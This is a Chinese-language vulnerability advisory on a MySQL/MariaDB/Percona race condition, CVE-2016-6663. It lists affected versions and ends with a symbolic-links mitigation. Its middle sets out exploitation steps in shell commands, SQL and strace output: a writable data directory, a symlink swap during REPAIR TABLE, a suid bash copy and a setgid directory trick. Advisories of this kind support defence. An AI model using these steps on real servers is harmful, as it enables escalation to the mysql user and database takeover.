漏洞概述:
Dawid Golunski在 MySQl, MariaDB 和 PerconaDB 數(shù)據(jù)庫中發(fā)現(xiàn)條件競(jìng)爭(zhēng)漏洞,該漏洞允許本地用戶使用低權(quán)限(CREATE/INSERT/SELECT權(quán)限)賬號(hào)提升權(quán)限到數(shù)據(jù)庫系統(tǒng)用戶(通常是'mysql')執(zhí)行任意代碼稳析。成功利用此漏洞,允許攻擊者完全訪問數(shù)據(jù)庫诚纸。也有潛在風(fēng)險(xiǎn)通過(CVE-2016-6662 和 CVE-2016-6664漏洞)獲取操作系統(tǒng)root權(quán)限。
利用條件
數(shù)據(jù)庫低權(quán)限用戶畦徘;
影響版本
MariaDB < 5.5.52 < 10.1.18 < 10.0.28
MySQL <= 5.5.51 <= 5.6.32 <= 5.7.14
Percona Server < 5.5.51-38.2 < 5.6.32-78-1 < 5.7.14-8
Percona XtraDB Cluster < 5.6.32-25.17 < 5.7.14-26.17 < 5.5.41-37.0
漏洞危害:
允許攻擊者完全訪問數(shù)據(jù)庫抬闯。也有潛在風(fēng)險(xiǎn)通過(CVE-2016-6662 和 CVE-2016-6664漏洞)獲取操作系統(tǒng)root權(quán)限。
漏洞詳情:
1) 基于MYSQL的數(shù)據(jù)庫允許用戶新建數(shù)據(jù)庫杯缺,并且指定存儲(chǔ)目錄奈虾。例如:
attacker@debian:~$ mkdir /tmp/disktable
attacker@debian:~$ chmod 777 /tmp/disktable/
attacker@debian:~$ ls -ld /tmp/disktable/
drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/
2) 可以通過data directory參數(shù)指定存儲(chǔ)目錄為/tmp/disktable/廉赔。
mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
3) 執(zhí)行完成后,查看下目錄權(quán)限蜡塌,變?yōu)閙ysql
attacker@debian:~$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD
4) 低權(quán)限(SELECT/CREATE/INSERT權(quán)限)的MYSQL賬戶,在執(zhí)行表修復(fù)過程中馏艾,執(zhí)行了不安全的臨時(shí)文件創(chuàng)建。
mysql> REPAIR TABLE `poctab1`;
+----------------+--------+----------+----------+
| Table | Op | Msg_type | Msg_text |
+----------------+--------+----------+----------+
| testdb.poctab1 | repair | status | OK |
+----------------+--------+----------+----------+
5) 通過查看系統(tǒng)調(diào)用铁孵,可以看到
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] open("/tmp/disktable/poctab1.MYD", O_RDWR) = 65
[pid 1463] access("./testdb/poctab1.TRG", F_OK) = -1 ENOENT (No such file or directory)
[pid 1463] lseek(65, 0, SEEK_CUR) = 0
[pid 1463] lseek(65, 0, SEEK_END) = 0
[pid 1463] mprotect(0x7f6a3804f000, 12288, PROT_READ|PROT_WRITE) = 0
[pid 1463] open("/tmp/disktable/poctab1.TMD", O_RDWR|O_CREAT|O_EXCL|O_TRUNC, 0660) = 66
[pid 1463] lseek(65, 0, SEEK_END) = 0
[pid 1463] lseek(64, 0, SEEK_END) = 1024
[pid 1463] close(65) = 0
[pid 1463] close(66) = 0
[pid 1463] lstat("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0
[pid 1463] lstat("/tmp/disktable", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] stat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
[pid 1463] chown("/tmp/disktable/poctab1.TMD", 110, 115) = 0
[pid 1463] unlink("/tmp/disktable/poctab1.MYD") = 0
[pid 1463] rename("/tmp/disktable/poctab1.TMD", "/tmp/disktable/poctab1.MYD") = 0
6) 第一個(gè)系統(tǒng)調(diào)用是
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
我們可以看到,在檢驗(yàn)poctab1.MYD表文件權(quán)限的時(shí)候蜕劝,也會(huì)復(fù)制在創(chuàng)建repaired表時(shí)的臨時(shí)文件chmod()權(quán)限。因此在
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0和
[pid 1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
系統(tǒng)調(diào)用之間暑始,產(chǎn)生了條件競(jìng)爭(zhēng)漏洞婴削。
如果攻擊者刪除臨時(shí)表poctab1.TMD,然后通過符號(hào)鏈接在chmod()操作前替換/var/lib/mysql唉俗,則能夠完全控制MYSQL的data目錄權(quán)限。
7) 攻擊者可以預(yù)設(shè)置poctab1.MYD權(quán)限為04777(suid)虫溜,然后通過有漏洞的chmod()調(diào)用有效的復(fù)制一個(gè)bash shell來執(zhí)行命令吼渡。這里會(huì)有一個(gè)問題容为,suid shell將指揮保留攻擊者的UID,而不是'mysql'用戶坎背。因此攻擊者需要復(fù)制bash shell到mysql用戶用戶的表文件寄雀,然而mysql表文件又不具有寫權(quán)限。
可以通過新建一個(gè)具有組粘帖位(group sticky bit)的目錄來繞過這個(gè)限制懂更。
新建/tmp/disktable/目錄,并賦予組粘帖位(group sticky bit)沮协。
attacker@debian:/tmp/disktable$ chmod g+s /tmp/disktable/
attacker@debian:/tmp/disktable$ ls -ld /tmp/disktable/
drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/
通過data directory參數(shù)指定存儲(chǔ)目錄為/tmp/disktable/
mysql> CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
Query OK, 0 rows affected (0.00 sec)
8) 再次查看/tmp/disktable/權(quán)限
attacker@debian:/tmp/disktable$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 11:04 poctab1.MYD
-rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD
我們可以看到poctab2.MYD表已經(jīng)是'mysql'權(quán)限了卓嫂,但是屬于'attacker'組。這樣'attacker'就能夠復(fù)制/bin/bash到poctab2.MYD文件了晨雳。
修復(fù)建議:
臨時(shí)解決辦法:
在my.cnf中添加 symbolic-links = 0